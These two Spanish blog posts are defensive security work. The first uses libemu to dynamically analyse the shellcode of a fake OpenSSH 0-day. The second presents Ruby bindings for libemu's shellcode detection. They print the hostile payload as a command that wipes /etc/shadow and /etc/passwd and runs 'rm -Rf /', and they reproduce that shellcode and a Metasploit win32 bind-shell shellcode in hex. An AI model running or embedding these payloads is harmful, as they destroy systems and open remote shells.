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libemu para el análisis dinámico del fake 0 day para OpenSSH

En la entrada anterior hemos recogido el análisis estático del falso 0 day para openssh y la shellcode utilizada para ejecutar el payload dañino:

echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /

Sin embargo para un rápido análisis dinámico del falso 0 day, y concretamente de su payload, NX puede suponer un escollo, tal y como ha comentado Eloi Sanfelix a través de twitter.

En este caso, la libemu nos puede venir de perlas para poder hacer un análisis rápido de la shellcode:

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

Podemos utilizar la utilidad “sctest” que acompaña a la librería:

$ sctest -S -s 30 < shellcode.bin verbose = 0 execve int execve (const char *dateiname=0012fe8a={/bin/sh}, const char * argv[], const char *envp[]); stepcount 30 int execve (      const char * dateiname = 0x0012fe8a =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x0012fe7a =>
               = 0x0012fe8a =>
                   = "/bin/sh";
           = 0x0012fe7e =>
               = 0x0012fe92 =>
                   = "-c";
           = 0x0012fe82 =>
               = 0x0041701d =>
                   = "echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

Por comentarlo, las llamadas al sistema que “emu_env_linux_new()” hookea por defecto (y que por tanto podríamos monitorizar con “sctest” tal y como lo hemos lanzado) están definidas en el array “syscall_hooks”, en el fichero “env_linux_syscalls.h” y son las siguientes (para el entorno linux!):

"accept"
"bind"
"connect"
"dup2"
"execve"
"exit"
"fork"
"getpeername"
"getsockname"
"getsockopt"
"listen"
"recv"
"recvfrom"
"recvmsg"
"send"
"sendmsg"
"sendto"
"shutdown"
"socket"
"socketpair"

Por cierto, poco a poco, vamos avanzando los bindings de la libemu para ruby, que están disponibles en https://github.com/testpurposes/ruby-libemu (ojo! los bindings están totalmente en fase de desarrollo!!, y además lo avanzamos muy poco a poco :P, pero tal vez a alguien le puede ser útil o interesante 🙂 )


ruby-libemu

Últimamente venía teniendo ganas de entrar un poco en los internals de Ruby. He pensado que una forma entretenida sería con la programación de extensiones (bindings).

También quería mirarme con calma la libemu:

libemu is a small library written in C offering basic x86 emulation and shellcode detection using GetPC heuristics. It is designed to be used within network intrusion/prevention detections and honeypots.

Y todo lo anterior nos lleva a “ruby-libemu”, bindings de Ruby para “libemu”.

Aprovechando que la “libemu” viene acompañada de un binding de python, esta primera versión ofrece la misma funcionalidad, para ruby. Así, ya podemos buscar shellcodes en un buffer de datos:

  1. En C:
  2. #include "emu/emu.h"
    #include "emu/emu_shellcode.h"
    
    /*
     * win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
     */
    unsigned char shellcode[] =
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
    
    int main(int argc, char *argv[])
    {
    	struct emu *e = emu_new();
    	int32_t result = emu_shellcode_test(e, shellcode, (uint16_t)strlen(shellcode));
    	printf("\n[*] Result: %d\n", result);
    	emu_free(e);
    	return 0;
    }
    

    El resultado:

    $ ./test
    [*] Result: 4

  3. En Python:
  4. import libemu
    '''
    win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
    '''
    shellcode = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0")
    
    emulator = libemu.Emulator()
    print emulator.test(shellcode)
    

    El resultado:

    $ python test.py
    4

  5. Y ahora, también en Ruby:
  6. require 'rlibemu'
    
    # win32_bind -  EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
    shellcode =
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" +
    "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" +
    "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" +
    "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
    "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" +
    "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" +
    "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" +
    "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" +
    "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" +
    "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" +
    "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" +
    "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" +
    "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" +
    "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" +
    "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" +
    "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" +
    "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" +
    "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" +
    "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" +
    "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
    
    emulator = Libemu::Emulator.new
    p emulator.test(shellcode)
    

    Su resultado:

    $ ruby test.rb
    4

La salida del test, tal y como menciona la documentación de libemu, es:

  • El offset en el que se ha detectado la shellcode (si el test ha sido positivo)
  • -1 si el test ha sido negativo

Si tenemos algo de tiempo, intentaremos hacer una extensión más completa para libemu, ya que con esta primera versión no es posible aprovechar, desde ruby, toda la funcionalidad de la librería 🙂

Sea como sea, esta primera versión se encuentra disponible en https://github.com/testpurposes/ruby-libemu. Para instalar la extensión se pueden seguir los siguientes pasos:

$ rake gem
(in /ruby-libemu)
mkdir -p pkg
WARNING: no rubyforge_project specified
Successfully built RubyGem
Name: ruby-libemu
Version: 0.0.1
File: ruby-libemu-0.0.1.gem
mv ruby-libemu-0.0.1.gem pkg/ruby-libemu-0.0.1.gem
$ gem install pkg/ruby-libemu-0.0.1.gem
Building native extensions. This could take a while...
Successfully installed ruby-libemu-0.0.1
1 gem installed
Installing ri documentation for ruby-libemu-0.0.1...
Installing RDoc documentation for ruby-libemu-0.0.1...